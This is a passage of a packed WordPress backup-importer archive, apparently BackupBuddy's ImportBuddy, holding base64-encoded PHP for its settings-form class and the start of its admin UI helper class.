3JtIHByb2Nlc3NpbmcuCgkgKiAgICAgICAgICAgICAgICBGb3JtYXQ6IGFycmF5KCAnZXJyb3JzJyA9PiBmYWxzZS9hcnJheSwgJ2RhdGEnID0+IGFycmF5KCAnZm9ybV9rZXlzJyA9PiAnZm9ybV92YWx1ZXMnICkgKS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHByb2Nlc3MoKSB7CgkJLy8gVGhpcyBmb3JtIHdhcyBpbmRlZWQgc3VibWl0dGVkLiBQUk9DRVNTIElUIQoJCSRmb3JtX25hbWUgPSBwYl9iYWNrdXBidWRkeTo6X1BPU1QoICR0aGlzLT5fcHJlZml4ICk7CgkJaWYgKCAnJyAhPSAkZm9ybV9uYW1lICYmIHBiX2JhY2t1cGJ1ZGR5OjpfUE9TVCggJHRoaXMtPl9wcmVmaXggKSA9PT0gJHRoaXMtPl9mb3JtX25hbWUgKSB7CgkJCSRlcnJvcnMgPSBhcnJheSgpOwoJCQkkX3Bvc3RzID0gcGJfYmFja3VwYnVkZHk6Ol9QT1NUKCk7CgoJCQkvLyBDbGVhbnVwLgoJCQlmb3JlYWNoICggJF9wb3N0cyBhcyAmJHBvc3RfdmFsdWUgKSB7CgkJCQkkcG9zdF92YWx1ZSA9IHRyaW0oICRwb3N0X3ZhbHVlICk7CgkJCX0KCgkJCS8vIGxvb3AgdGhyb3VnaCBhbGwgcG9zdGVkIHZhcmlhYmxlcywgaWYgaXRzIHByZWZpeCBtYXRjaGVzIHRoaXMgZm9ybSdzIG5hbWUgdGhlbi4KCQkJZm9yZWFjaCAoICRfcG9zdHMgYXMgJHBvc3RfbmFtZSA9PiAkcG9zdF92YWx1ZSApIHsKCQkJCWlmICggc3Vic3RyKCAkcG9zdF9uYW1lLCAwLCBzdHJsZW4oICR0aGlzLT5fcHJlZml4ICkgKSA9PSAkdGhpcy0+X3ByZWZpeCApIHsgLy8gVGhpcyBzZXR0aW5ncyBmb3JtLgoJCQkJCSRpdGVtX25hbWUgPSBzdWJzdHIoICRwb3N0X25hbWUsIHN0cmxlbiggJHRoaXMtPl9wcmVmaXggKSApOwoJCQkJCWlmICggJycgIT0gJGl0ZW1fbmFtZSAmJiAnc2V0dGluZ3Nfc3VibWl0JyAhPSAkaXRlbV9uYW1lICkgeyAvLyBTa2lwIHRoZSBmb3JtIG5hbWUgaW5wdXQ7IGFsc28gc2V0dGluZ3Mgc3VibWl0IGJ1dHRvbiBzaW5jZSBpdCBpcyBub3QgcmVnaXN0ZXJlZCB1bnRpbCB2aWV3LgoJCQkJCQkkdGVzdF9yZXN1bHQgPSAkdGhpcy0+X2Zvcm0tPnRlc3QoICRpdGVtX25hbWUsICRwb3N0X3ZhbHVlICk7CgkJCQkJCWlmICggdHJ1ZSAhPT0gJHRlc3RfcmVzdWx0ICkgewoJCQkJCQkJZm9yZWFjaCAoICR0aGlzLT5fc2V0dGluZ3MgYXMgJHNldHRpbmdfaW5kZXggPT4gJHNldHRpbmcgKSB7CgkJCQkJCQkJaWYgKCAndGl0bGUnID09PSAkc2V0dGluZ1sndHlwZSddICkgewoJCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCQl9CgkJCQkJCQkJaWYgKCAkc2V0dGluZ1snbmFtZSddID09PSAkaXRlbV9uYW1lICkgewoJCQkJCQkJCQkkdGhpcy0+X3NldHRpbmdzWyAkc2V0dGluZ19pbmRleCBdWydlcnJvciddID0gdHJ1ZTsKCQkJCQkJCQkJJGl0ZW1fdGl0bGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICR0aGlzLT5fc2V0dGluZ3NbICRzZXR0aW5nX2luZGV4IF1bJ3RpdGxlJ107CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQkJJGVycm9yc1tdID0gJ1ZhbGlkYXRpb24gZmFpbHVyZSBvbiBgJyAuICRpdGVtX3RpdGxlIC4gJ2A6ICcgLiBpbXBsb2RlKCAnICcsICR0ZXN0X3Jlc3VsdCApOwoJCQkJCQkJdW5zZXQoICRfcG9zdHNbICRwb3N0X25hbWUgXSApOyAvLyBSZW1vdmVzIHRoaXMgZm9ybSBpdGVtIHNvIGl0IHdpbGwgbm90IGJlIHVwZGF0ZWQgZHVyaW5nIHNhdmUgbGF0ZXIuCgkJCQkJCX0gZWxzZSB7IC8vIEl0ZW0gdmFsaWRhdGVkLiBSZW1vdmUgcHJlZml4IGZvciBsYXRlciBwcm9jZXNzaW5nLgoJCQkJCQkJJF9wb3N0c1sgJGl0ZW1fbmFtZSBdID0gJF9wb3N0c1sgJHBvc3RfbmFtZSBdOwoJCQkJCQkJJHRoaXMtPl9mb3JtLT5zZXRfdmFsdWUoICRpdGVtX25hbWUsICRwb3N0X3ZhbHVlICk7IC8vIFNldCB2YWx1ZSB0byBiZSBlcXVhbCB0byBzdWJtaXR0ZWQgdmFsdWUgc28gaWYgb25lIG9yIG1vcmUgaXRlbSBmYWlsZWQgdmFsaWRhdGlvbiB0aGUgZW50aXJlIGZvcm0gaXMgbm90IHdpcGVkIG91dC4gRG9uJ3Qgd2FudCB1c2VyIHRvIGhhdmUgdG8gcmUtZW50ZXIgdmFsaWQgZGF0YS4KCQkJCQkJCXVuc2V0KCAkX3Bvc3RzWyAkcG9zdF9uYW1lIF0gKTsKCQkJCQkJfQoJCQkJCX0gZWxzZSB7IC8vIFN1Ym1pdCBidXR0b24uIENhbiB1bnNldCBpdCB0byBjbGVhbiB1cCBhcnJheSBmb3IgbGF0ZXIuCgkJCQkJCXVuc2V0KCAkX3Bvc3RzWyAkcG9zdF9uYW1lIF0gKTsKCQkJCQl9CgkJCQl9IGVsc2UgeyAvLyBOb3QgZm9yIHRoaXMgZm9ybS4gQ2FuIHVuc2V0IGl0IHRvIGNsZWFuIHVwIGFycmF5IGZvciBsYXRlci4KCQkJCQl1bnNldCggJF9wb3N0c1sgJHBvc3RfbmFtZSBdICk7CgkJCQl9CgkJCX0KCgkJCS8vIFByb2Nlc3MhCgkJCS8vIE9ubHkgc2F2ZSBpZiBpbiBub3JtYWwgc2V0dGluZ3MgbW9kZTsgaWYgc2F2ZXBvaW50ID09PSBmYWxzZSBubyBzYXZpbmcgaGVyZS4KCQkJaWYgKCBmYWxzZSA9PT0gJHRoaXMtPl9zYXZlcG9pbnQgfHwgaXNfYXJyYXkoICR0aGlzLT5fc2F2ZXBvaW50ICkgKSB7CgkJCQkkcmV0dXJuID0gYXJyYXkoCgkJCQkJJ2Vycm9ycycgPT4gJGVycm9ycywKCQkJCQknZGF0YScgICA9PiAkX3Bvc3RzLAoJCQkJKTsKCQkJCXJldHVybiAkcmV0dXJuOwoJCQl9IGVsc2UgeyAvLyBOb3JtYWwgc2V0dGluZ3Mgc2luY2Ugc2F2ZXBvaW50ICE9PSBmYWxzZS4gU2F2ZSBpbnRvIHNhdmVwb2ludCEKCgkJCQlpZiAoIGNvdW50KCAkZXJyb3JzICkgPiAwICkgeyAvLyBFcnJvcnMuCgkJCQkJcGJfYmFja3VwYnVkZHk6OmFsZXJ0KCAnRXJyb3IgdmFsaWRhdGluZyBvbmUgb3IgbW9yZSBmaWVsZHMgYXMgaW5kaWNhdGVkIGJlbG93LiBFcnJvcihzKTo8YnI+JyAuIGltcGxvZGUoICc8YnI+JywgJGVycm9ycyApLCB0cnVlICk7CgkJCQl9CgkJCQkvLyBQcmVwYXJlIHNhdmVwb2ludC4KCQkJCWlmICggJycgIT0gJHRoaXMtPl9zYXZlcG9pbnQgKSB7CgkJCQkJJHNhdmVwb2ludF9yb290ID0gJHRoaXMtPl9zYXZlcG9pbnQgLiAnIyc7CgkJCQl9IGVsc2UgewoJCQkJCSRzYXZlcG9pbnRfcm9vdCA9ICcnOwoJCQkJfQoKCQkJCS8vIFRoZSBoYXJkIHdvcmsuCgkJCQlmb3JlYWNoICggJF9wb3N0cyBhcyAkcG9zdF9uYW1lID0+ICRwb3N0X3ZhbHVlICkgeyAvLyBMb29wIHRocm91Z2ggYWxsIHBvc3QgaXRlbXMgKG5vdCBhbGwgbWF5IGJlIG91ciBmb3JtKS4gQHNlZSA4MzQyOTU5NDgzNzUzNDk4Ny4KCQkJCQkkdGhpcy0+X2Zvcm0tPnNldF92YWx1ZSggJHBvc3RfbmFtZSwgJHBvc3RfdmFsdWUgKTsKCgkJCQkJLy8gRnJvbSBvbGQgc2F2ZV9zZXR0aW5ncygpLgoJCQkJCSRzYXZlcG9pbnRfc3Vic2VjdGlvbiA9ICZwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnM7CgkJCQkJJHNhdmVwb2ludF9sZXZlbHMgICAgID0gZXhwbG9kZSggJyMnLCAkc2F2ZXBvaW50X3Jvb3QgLiAkcG9zdF9uYW1lICk7CgkJCQkJZm9yZWFjaCAoICRzYXZlcG9pbnRfbGV2ZWxzIGFzICRzYXZlcG9pbnRfbGV2ZWwgKSB7CgkJCQkJCSRzYXZlcG9pbnRfc3Vic2VjdGlvbiA9ICYkc2F2ZXBvaW50X3N1YnNlY3Rpb257JHNhdmVwb2ludF9sZXZlbH07CgkJCQkJfQoJCQkJCS8vIEFwcGx5IHNldHRpbmdzLgoJCQkJCSRzYXZlcG9pbnRfc3Vic2VjdGlvbiA9IHN0cmlwc2xhc2hlc19kZWVwKCAkcG9zdF92YWx1ZSApOyAvLyBSZW1vdmUgV29yZFByZXNzJyBtYWdpYy1xdW90ZXMtbm9uc2Vuc2UuCgkJCQl9CgoJCQkJLy8gQWRkIGEgbm90ZSB0byB0aGUgc2F2ZSBhbGVydCB0aGF0IHNvbWUgdmFsdWVzIGFyZSBza2lwcGVkIGR1ZSB0byBlcnJvcnMuCgkJCQkkZXJyb3Jfbm90ZSA9ICcnOwoJCQkJaWYgKCBjb3VudCggJGVycm9ycyApID4gMCApIHsKCQkJCQkkZXJyb3Jfbm90ZSA9ICcgT25lIG9yIG1vcmUgZmllbGRzIHNraXBwZWQgZHVlIHRvIGVycm9yLic7CgkJCQl9CgoJCQkJcGJfYmFja3VwYnVkZHk6OnNhdmUoKTsKCQkJCXBiX2JhY2t1cGJ1ZGR5OjphbGVydCggX18oICdTZXR0aW5ncyBzYXZlZC4nLCAnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICRlcnJvcl9ub3RlICk7CgoJCQkJJHJldHVybiA9IGFycmF5KAoJCQkJCSdlcnJvcnMnID0+ICRlcnJvcnMsCgkJCQkJJ2RhdGEnICAgPT4gJF9wb3N0cywKCQkJCSk7CgkJCQlyZXR1cm4gJHJldHVybjsKCQkJfSAvLyBFbmQgaWYgc2F2ZXBvaW50ICE9PT0gZmFsc2UuCgkJfSAvLyBlbmQgc3VibWl0dGVkIGZvcm0uCgoJCXJldHVybiBhcnJheSgpOwoJfSAvLyBFbmQgcHJvY2VzcygpLgoKCS8qKgoJICogRGlzcGxheXMgYWxsIHRoZSByZWdpc3RlcmVkIHNldHRpbmdzIGluIHRoaXMgb2JqZWN0LiBFbnRpcmUgZm9ybSBhbmQgSFRNTCBpcyBlY2hvJ2Qgb3V0LgoJICoKCSAqIEBzZWUgcGx1Z2luYnVkZHlfc2V0dGluZ3MtPmdldF9zZXR0aW5ncygpCgkgKgoJICogQHBhcmFtIHN0cmluZyAkc3VibWl0X2J1dHRvbl90aXRsZSAgVGV4dCB0byBkaXNwbGF5IGluIHRoZSBzdWJtaXQgYnV0dG9uLgoJICogQHBhcmFtIHN0cmluZyAkYmVmb3JlICAgICAgICAgICAgICAgQ29udGVudCBiZWZvcmUgc3VibWl0IGFmdGVyLgoJICogQHBhcmFtIHN0cmluZyAkYWZ0ZXIgICAgICAgICAgICAgICAgQ29udGVudCBhZnRlciBzdWJtaXQgYnV0dG9uLgoJICogQHBhcmFtIHN0cmluZyAkc2F2ZV9idXR0b25fY2xhc3MgICAgQ2xhc3MgZm9yIHNhdmUgYnV0dG9uLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZGlzcGxheV9zZXR0aW5ncyggJHN1Ym1pdF9idXR0b25fdGl0bGUsICRiZWZvcmUgPSAnJywgJGFmdGVyID0gJycsICRzYXZlX2J1dHRvbl9jbGFzcyA9ICcnICkgewoJCWVjaG8gJHRoaXMtPmdldF9zZXR0aW5ncyggJHN1Ym1pdF9idXR0b25fdGl0bGUsICRiZWZvcmUsICRhZnRlciwgJHNhdmVfYnV0dG9uX2NsYXNzICk7Cgl9IC8vIEVuZCBkaXNwbGF5X3NldHRpbmdzKCkuCgoJLyoqCgkgKiBSZXR1cm5zIGFsbCB0aGUgcmVnaXN0ZXJlZCBzZXR0aW5ncyBpbiB0aGlzIG9iamVjdC4gRW50aXJlIGZvcm0gYW5kIEhUTUwgaXMgcmV0dXJuZWQuCgkgKgoJICogQHNlZSBwbHVnaW5idWRkeV9zZXR0aW5ncy0+ZGlzcGxheV9zZXR0aW5ncygpCgkgKiByYWRpbyBidXR0b24gYWRkaXRpb25hbCBvcHRpb25zOiAgb3JpZW50YXRpb24gWyB2ZXJ0aWNhbCAvIGhvcml6b250YWwgXQoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJHN1Ym1pdF9idXR0b25fdGl0bGUgIFRleHQgdG8gZGlzcGxheSBpbiB0aGUgc3VibWl0IGJ1dHRvbi4KCSAqIEBwYXJhbSBzdHJpbmcgJGJlZm9yZSAgICAgICAgICAgICAgIENvbnRlbnQgYmVmb3JlIHN1Ym1pdCBhZnRlci4KCSAqIEBwYXJhbSBzdHJpbmcgJGFmdGVyICAgICAgICAgICAgICAgIENvbnRlbnQgYWZ0ZXIgc3VibWl0IGJ1dHRvbi4KCSAqIEBwYXJhbSBzdHJpbmcgJHNhdmVfYnV0dG9uX2NsYXNzICAgIENsYXNzIGZvciBzYXZlIGJ1dHRvbi4KCSAqCgkgKiBAcmV0dXJuIHN0cmluZyAgUmV0dXJucyBlbnRpcmUgc3RyaW5nIHdpdGggZXZlcnl0aGluZyBpbiBpdCB0byBkaXNwbGF5LgoJICovCglwdWJsaWMgZnVuY3Rpb24gZ2V0X3NldHRpbmdzKCAkc3VibWl0X2J1dHRvbl90aXRsZSwgJGJlZm9yZSA9ICcnLCAkYWZ0ZXIgPSAnJywgJHNhdmVfYnV0dG9uX2NsYXNzID0gJycgKSB7CgkJJGZpcnN0X3RpdGxlID0gdHJ1ZTsgLy8gZmlyc3QgdGl0bGUncyBDU1MgdG9wIHBhZGRpbmcgZGlmZmVycyBzbyBtdXN0IHRyYWNrLgoKCQkkcmV0dXJuICA9ICR0aGlzLT5fZm9ybS0+c3RhcnQoKTsKCQkkcmV0dXJuIC49ICc8dGFibGUgY2xhc3M9ImZvcm0tdGFibGUiPic7CgkJZm9yZWFjaCAoICR0aGlzLT5fc2V0dGluZ3MgYXMgJHNldHRpbmdzICkgewoJCQkkdGhfY3NzID0gJyc7CgoJCQlpZiAoICcnID09ICRzZXR0aW5nc1sndGl0bGUnXSApIHsgLy8gYmxhbmsgdGl0bGUgc28gaGlkZSBsZWZ0IGNvbHVtbi4KCQkJCSR0aF9jc3MgLj0gJyBkaXNwbGF5OiBub25lOyc7CgkJCX0KCgkJCWlmICggJ3RpdGxlJyA9PT0gJHNldHRpbmdzWyd0eXBlJ10gKSB7IC8vIFRpdGxlIGl0ZW0uCgkJCQlpZiAoIHRydWUgPT09ICRmaXJzdF90aXRsZSApIHsgLy8gRmlyc3QgdGl0bGUgaW4gbGlzdC4KCQkJCQkkcmV0dXJuICAgICAuPSAnPHRyIHN0eWxlPSJib3JkZXI6IDA7Ij48dGggY29sc3Bhbj0iMiIgc3R5bGU9ImJvcmRlcjogMDsgcGFkZGluZy10b3A6IDA7IHBhZGRpbmctYm90dG9tOiAwOyIgY2xhc3M9IicgLiAkc2V0dGluZ3NbJ3Jvd19jbGFzcyddIC4gJyI+PGgzIGNsYXNzPSJ0aXRsZSAnIC4gJHNldHRpbmdzWydjbGFzcyddIC4gJyInOwoJCQkJCSRyZXR1cm4gICAgIC49ICcgc3R5bGU9Im1hcmdpbi10b3A6IDA7IG1hcmdpbi1ib3R0b206IDAuNWVtOyInOwoJCQkJCSRmaXJzdF90aXRsZSA9IGZhbHNlOwoJCQkJfSBlbHNlIHsgLy8gU3Vic2VxdWVudCB0aXRsZXMuCgkJCQkJJHJldHVybiAuPSAnPHRyIHN0eWxlPSJib3JkZXI6IDA7Ij48dGggY29sc3Bhbj0iMiIgc3R5bGU9ImJvcmRlcjogMDsiIGNsYXNzPSInIC4gJHNldHRpbmdzWydyb3dfY2xhc3MnXSAuICciPjxoMyBjbGFzcz0idGl0bGUgJyAuICRzZXR0aW5nc1snY2xhc3MnXSAuICciJzsKCQkJCQkkcmV0dXJuIC49ICcgc3R5bGU9Im1hcmdpbjogMC41ZW0gMDsiJzsKCQkJCX0KCgkJCQkkcmV0dXJuIC49ICc+JyAuICRzZXR0aW5nc1sndGl0bGUnXSAuICc8L2gzPjwvdGg+JzsKCQkJfSBlbHNlaWYgKCAnaGlkZGVuJyA9PT0gJHNldHRpbmdzWyd0eXBlJ10gKSB7IC8vIGhpZGRlbiBmb3JtIGl0ZW0uIG5vIHRpdGxlLgoJCQkJJHJldHVybiAuPSAkdGhpcy0+X2Zvcm0tPmdldCggJHNldHRpbmdzWyduYW1lJ10sICRzZXR0aW5nc1snY3NzJ10sICRzZXR0aW5nc1snY2xhc3NlcyddICk7CgkJCX0gZWxzZSB7IC8vIE5vcm1hbCBpdGVtLgoJCQkJJHJldHVybiAuPSAnPHRyIGNsYXNzPSInIC4gJHNldHRpbmdzWydyb3dfY2xhc3MnXSAuICciPic7CgkJCQkkcmV0dXJuIC49ICc8dGggc2NvcGU9InJvdyIgY2xhc3M9IicgLiAkc2V0dGluZ3NbJ3Jvd19jbGFzcyddIC4gJyInOwoJCQkJaWYgKCAnJyAhPSAkdGhpcy0+X2N1c3RvbV90aXRsZV93aWR0aCApIHsKCQkJCQkkcmV0dXJuIC49ICcgc3R5bGU9IndpZHRoOiAnIC4gJHRoaXMtPl9jdXN0b21fdGl0bGVfd2lkdGggLiAncHg7ICcgLiAkdGhfY3NzIC4gJyInOwoJCQkJfSBlbHNlIHsKCQkJCQkkcmV0dXJuIC49ICcgc3R5bGU9IicgLiAkdGhfY3NzIC4gJyInOwoJCQkJfQoJCQkJJHJldHVybiAuPSAnPic7CgkJCQkkcmV0dXJuIC49ICRzZXR0aW5nc1sndGl0bGUnXTsKCQkJCWlmICggaXNzZXQoICRzZXR0aW5nc1sndGlwJ10gKSAmJiAnJyAhPSAkc2V0dGluZ3NbJ3RpcCddICkgewoJCQkJCSRyZXR1cm4gLj0gcGJfYmFja3VwYnVkZHk6OiR1aS0+dGlwKCAkc2V0dGluZ3NbJ3RpcCddLCAnJywgZmFsc2UgKTsKCQkJCX0KCQkJCSRyZXR1cm4gLj0gJzwvdGg+JzsKCQkJCWlmICggJ3RpdGxlJyA9PT0gJHNldHRpbmdzWyd0eXBlJ10gKSB7IC8vIEV4dGVuZCB3aWR0aCBmdWxsIGxlbmd0aCBmb3IgdGl0bGUgaXRlbS4KCQkJCQkkcmV0dXJuIC49ICcgY29sc3Bhbj0iMiInOwoJCQkJfQoKCQkJCSRyZXR1cm4gLj0gJzx0ZCBjbGFzcz0iJyAuICRzZXR0aW5nc1sncm93X2NsYXNzJ10gLiAnIic7CgkJCQlpZiAoICcnID09ICRzZXR0aW5nc1sndGl0bGUnXSApIHsgLy8gTm8gdGl0bGUgc28gaGlkZSBsZWZ0IGNvbHVtbi4KCQkJCQkkcmV0dXJuIC49ICcgY29sc3Bhbj0iMiInOwoJCQkJfQoJCQkJJHJldHVybiAuPSAnPic7CgkJCQkkcmV0dXJuIC49ICRzZXR0aW5nc1snYmVmb3JlJ107CgkJCQlpZiAoIGlzc2V0KCAkc2V0dGluZ3NbJ2Vycm9yJ10gKSAmJiB0cnVlID09PSAkc2V0dGluZ3NbJ2Vycm9yJ10gKSB7CgkJCQkJJHNldHRpbmdzWydjc3MnXSAuPSAnYm9yZGVyOiAxcHggZGFzaGVkIHJlZDsnOwoJCQkJfQoJCQkJJHJldHVybiAuPSAkdGhpcy0+X2Zvcm0tPmdldCggJHNldHRpbmdzWyduYW1lJ10sICRzZXR0aW5nc1snY3NzJ10sICRzZXR0aW5nc1snY2xhc3NlcyddLCAkc2V0dGluZ3NbJ29yaWVudGF0aW9uJ10gKTsKCQkJCSRyZXR1cm4gLj0gJHNldHRpbmdzWydhZnRlciddOwoJCQkJJHJldHVybiAuPSAnPC90ZD4nOwoJCQkJJHJldHVybiAuPSAnPC90cj4nOwoJCQl9CgkJfQoJCSRyZXR1cm4gLj0gJzwvdGFibGU+PGJyPic7CgoJCS8vIFN1Ym1pdCBidXR0b24uCgkJJHJldHVybiAuPSAkYmVmb3JlOwoJCSRyZXR1cm4gLj0gJHRoaXMtPl9mb3JtLT5zdWJtaXQoICdzZXR0aW5nc19zdWJtaXQnLCAkc3VibWl0X2J1dHRvbl90aXRsZSwgJHNhdmVfYnV0dG9uX2NsYXNzICk7CgkJJHJldHVybiAuPSAkdGhpcy0+X2Zvcm0tPmdldCggJ3NldHRpbmdzX3N1Ym1pdCcsICcnLCAkc2F2ZV9idXR0b25fY2xhc3MgKTsKCQkkcmV0dXJuIC49ICRhZnRlcjsKCgkJJHJldHVybiAuPSAkdGhpcy0+X2Zvcm0tPmVuZCgpOwoKCQlyZXR1cm4gJHJldHVybjsKCX0gLy8gRW5kIGdldF9zZXR0aW5ncygpLgoKCS8qKgoJICogQ2xlYXJzIHRoZSB2YWx1ZSBvZiBhbGwgZm9ybSBpdGVtcyBzZXR0aW5nIHRoZSB2YWx1ZSB0byBhbiBlbXB0eSBzdHJpbmcgJycuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBjbGVhcl92YWx1ZXMoKSB7CgkJJHRoaXMtPl9mb3JtLT5jbGVhcl92YWx1ZXMoKTsKCX0gLy8gRW5kIGNsZWFyX3ZhbHVlcygpLgoKCS8qKgoJICogUmVwbGFjZSB0aGUgdmFsdWUgb2YgYSBmb3JtIGl0ZW0uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkaXRlbV9uYW1lICBOYW1lIG9mIHRoZSBmb3JtIHNldHRpbmcgaXRlbSB0byB1cGRhdGUuCgkgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZSAgICAgIFZhbHVlIHRvIHNldCB0aGUgaXRlbSB0by4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF92YWx1ZSggJGl0ZW1fbmFtZSwgJHZhbHVlICkgewoJCSR0aGlzLT5fZm9ybS0+c2V0X3ZhbHVlKCAkaXRlbV9uYW1lLCAkdmFsdWUgKTsKCX0gLy8gRW5kIHNldF92YWx1ZSgpLgoKfSAvLyBFbmQgY2xhc3MgcGx1Z2luYnVkZHlfc2V0dGluZ3MuCg==
###PACKDATA,FILE_END,/pluginbuddy/classes/settings.php,importbuddy/pluginbuddy/classes/settings.php
###PACKDATA,FILE_START,/pluginbuddy/classes/ui.php,importbuddy/pluginbuddy/classes/ui.php
PD9waHAKCgoKLyoJcGx1Z2luYnVkZHlfdWkgY2xhc3MKICoKICoJSGFuZGxlcyB0eXBpY2FsIHVzZXIgaW50ZXJmYWNlIGl0ZW1zIHVzZWQgaW4gV29yZFByZXNzIGRldmVsb3BtZW50LgogKgogKglAYXV0aG9yIER1c3RpbiBCb2x0b24KICoJQHZlcnNpb24gMS4wLjAKICovCmNsYXNzIHBiX2JhY2t1cGJ1ZGR5X3VpIHsKCglwcml2YXRlICRfdGFiX2ludGVyZmFjZV90YWcgPSAnJzsKCgoJLyoJcGx1Z2luYnVkZHlfdWktPnN0YXJ0X21ldGFib3goKQoJICoKCSAqCVN0YXJ0cyBhIG1ldGFib3guIFVzZSB3aXRoIGVuZF9tZXRhYm94KCkuCgkgKglAc2VlIHBsdWdpbmJ1ZGR5X3VpLT5lbmRfbWV0YWJveAoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkJCSR0aXRsZQkJCQlUaXRsZSB0byBkaXNwbGF5IGZvciB0aGUgbWV0YWJveC4KCSAqCUBwYXJhbQkJYm9vbGVhbgkJCQkkZWNobwkJCQlFY2hvcyBpZiB0cnVlOyBlbHNlIHJldHVybnMuCgkgKglAcGFyYW0JCWJvb2xlYW4vc3RyaW5nCQkkc21hbGxfb3JfY3NzCQl0cnVlOiBzaXplIGlzIGxpbWl0ZWQgc21hbGxlci4gZmFsc2U6IHNpemUgaXMgbGltaXRlZCBsYXJnZXIuIElmIGEgc3RyaW5nIHRoZW4gaW50ZXJwcmV0ZWQgYXMgQ1NTLgoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJCQkJCVJldHVybnMgbnVsbCBpZiAkZWNobyBpcyB0cnVlOyBlbHNlIHJldHVybnMgc3RyaW5nIHdpdGggSFRNTC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN0YXJ0X21ldGFib3goICR0aXRsZSwgJGVjaG8gPSB0cnVlLCAkc21hbGxfb3JfY3NzID0gZmFsc2UgKSB7CgkJaWYgKCAkc21hbGxfb3JfY3NzID09PSBmYWxzZSApIHsgLy8gTGFyZ2Ugc2l6ZS4KCQkJJGNzcyA9ICd3aWR0aDogNzAlOyBtaW4td2lkdGg6IDcyMHB4Oyc7CgkJfSBlbHNlaWYgKCAkc21hbGxfb3JfY3NzID09PSB0cnVlICkgeyAvLyBTbWFsbCBzaXplLgoJCQkkY3NzID0gJ3dpZHRoOiAyMCU7IG1pbi13aWR0aDogMjUwcHg7JzsKCQl9IGVsc2UgeyAvLyBTdHJpbmcgc28gaW50ZXJwcmV0IGFzIENTUy4KCQkJJGNzcyA9ICRzbWFsbF9vcl9jc3M7CgkJfQoKCQkkY3NzIC49ICcgcGFkZGluZy10b3A6IDA7IG1hcmdpbi10b3A6IDEwcHg7IGN1cnNvcjogYXV0bzsnOwoKCQkkcmVzcG9uc2UgPSAnPGRpdiBjbGFzcz0ibWV0YWJveC1ob2xkZXIgcG9zdGJveCIgc3R5bGU9IicgLiAkY3NzIC4gJyI+CgkJCQkJCTxoMyBjbGFzcz0iaG5kbGUiIHN0eWxlPSJjdXJzb3I6IGF1dG87Ij48c3Bhbj4nIC4gJHRpdGxlIC4gJzwvc3Bhbj48L2gzPgoJCQkJCQk8ZGl2IGNsYXNzPSJpbnNpZGUiPic7CgkJaWYgKCAkZWNobyA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkcmVzcG9uc2U7CgkJfSBlbHNlIHsKCQkJcmV0dXJuICRyZXNwb25zZTsKCQl9Cgl9IC8vIEVuZCBzdGFydF9tZXRhYm94KCkuCgoKCgkvKglwbHVnaW5idWRkeV91aS0+ZW5kX21ldGFib3goKQoJICoKCSAqCUVuZHMgYSBtZXRhYm94LiBVc2Ugd2l0aCBzdGFydF9tZXRhYm94KCkuCgkgKglAc2VlIHBsdWdpbmJ1ZGR5X3VpLT5zdGFydF9tZXRhYm94CgkgKgoJICoJQHBhcmFtCQlib29sZWFuCQkkZWNobwkJRWNob3MgaWYgdHJ1ZTsgZWxzZSByZXR1cm5zLgoJICoJQHJldHVybgkJbnVsbC9zdHJpbmcJCQkJUmV0dXJucyBudWxsIGlmICRlY2hvIGlzIHRydWU7IGVsc2UgcmV0dXJucyBzdHJpbmcgd2l0aCBIVE1MLgoJICovCglwdWJsaWMgZnVuY3Rpb24gZW5kX21ldGFib3goICRlY2hvID0gdHJ1ZSApIHsKCQkkcmVzcG9uc2UgPSAnCTwvZGl2PgoJCQkJCTwvZGl2Pic7CgkJaWYgKCAkZWNobyA9PT0gdHJ1ZSApIHsKCQkJZWNobyAkcmVzcG9uc2U7CgkJfSBlbHNlIHsKCQkJcmV0dXJuICRyZXNwb25zZTsKCQl9Cgl9IC8vIEVuZCBlbmRfbWV0YWJveCgpLgoKCgoJLyoJcGx1Z2luYnVkZHlfdWktPnRpdGxlKCkKCSAqCgkgKglEaXNwbGF5cyBhIHN0eWxlZCwgcHJvcGVybHkgZm9ybWF0dGVkIHRpdGxlIGZvciBwYWdlcy4KCSAqCgkgKglAcGFyYW0JCXN0cmluZwkJJHRpdGxlCQlUaXRsZSB0byBkaXNwbGF5LgoJICoJQHBhcmFtCQlib29sZWFuCQkkZWNobwkJV2hldGhlciBvciBub3QgdG8gZWNobyB0aGUgc3RyaW5nIG9yIHJldHVybi4KCSAqCUByZXR1cm4JCW51bGwvc3RyaW5nCQkJCVJldHVybnMgbnVsbCBpZiAkZWNobyBpcyB0cnVlOyBlbHNlIHJldHVybnMgc3RyaW5nIHdpdGggSFRNTC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHRpdGxlKCAkdGl0bGUsICRlY2hvID0gdHJ1ZSwgJGJyID0gdHJ1ZSApIHsKCQkkcmV0dXJuID0gJzxoMSBzdHlsZT0iem9vbTogMS4wNTsiPjxzcGFuIGNsYXNzPSJiYWNrdXBidWRkeS1pY29uLWRyaXZlIiBzdHlsZT0iZm9udC1zaXplOiAxLjJlbTsgdmVydGljYWwtYWxpZ246IC00cHg7Ij48L3NwYW4+ICcgLiAkdGl0bGUgLiAnPC9oMT4nOwoJCWlmICggdHJ1ZSA9PT0gJGJyICkgewoJCQkkcmV0dXJuIC49ICc8YnIgLz4nOwoJCX0KCQlpZiAoICRlY2hvID09PSB0cnVlICkgewoJCQllY2hvICRyZXR1cm47CgkJfSBlbHNlIHsKCQkJcmV0dXJuICRyZXR1cm47CgkJfQoJfSAvLyBFbmQgdGl0bGUoKS4KCgoKCS8qCXBsdWdpbmJ1ZGR5X3VpLT5idXR0b24oKQoJICoKCSAqCURpc3BsYXlzIGEgbmljZSBwcmV0dHkgc3R5bGVkIGJ1dHRvbi4gSG93IG5pY2UuIEFsd2F5cyByZXR1cm5zLgoJICoKCSAqCUBwYXJhbQkJc3RyaW5nCQkkdX